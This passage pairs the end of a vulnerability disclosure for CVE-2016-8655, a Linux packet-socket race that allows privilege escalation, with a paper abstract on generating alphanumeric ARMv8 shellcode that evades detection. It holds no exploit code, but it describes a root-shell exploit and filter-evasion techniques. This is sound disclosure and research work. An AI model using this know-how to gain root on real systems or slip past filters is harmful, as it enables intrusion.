fixed by taking lock_sock(sk) in packet_setsockopt() when changing the packet version while also taking the lock at the start of packet_set_ring(). My exploit defeats SMEP/SMAP and will give a rootshell on Ubuntu 16.04, I will hold off a day on publishing it so people have some time to update. New Ubuntu kernels are out so please update as soon as possible. =*=*=*=*=*=*=*=*= TIMELINE =*=*=*=*=*=*=*=*= 2016-11-28: Bug reported to security () kernel org 2016-11-30: Patch submitted to netdev, notification sent to linux-distros 2016-12-02: Patch committed to mainline kernel 2016-12-06: Public announcement =*=*=*=*=*=*=*=*= LINKS =*=*=*=*=*=*=*=*= https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655 https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c https://www.ubuntu.com/usn/usn-3151-1/ =*=*=*=*=*=*=*=*= CREDIT =*=*=*=*=*=*=*=*= Philip Pettersson Sursa: http://seclists.org/oss-sec/2016/q4/607

ARMv8 Shellcodes from ‘A’ to ‘Z’ Hadrien Barral, Houda Ferradi, R´emi G´eraud, Georges-Axel Jaloyan and David Naccache Ecole normale superieure – Computer Science Department ´ 45 rue d’Ulm 75230 Paris cedex 05, France firstname.lastname@ens.fr August 12, 2016 Abstract We describe a methodology to automatically turn arbitrary ARMv8 programs into alphanumeric executable polymorphic shellcodes. Shellcodes generated in this way can evade detection and bypass filters, broadening the attack surface of ARM-powered devices such as smartphones. Download: https://arxiv.org/pdf/1608.03415.pdf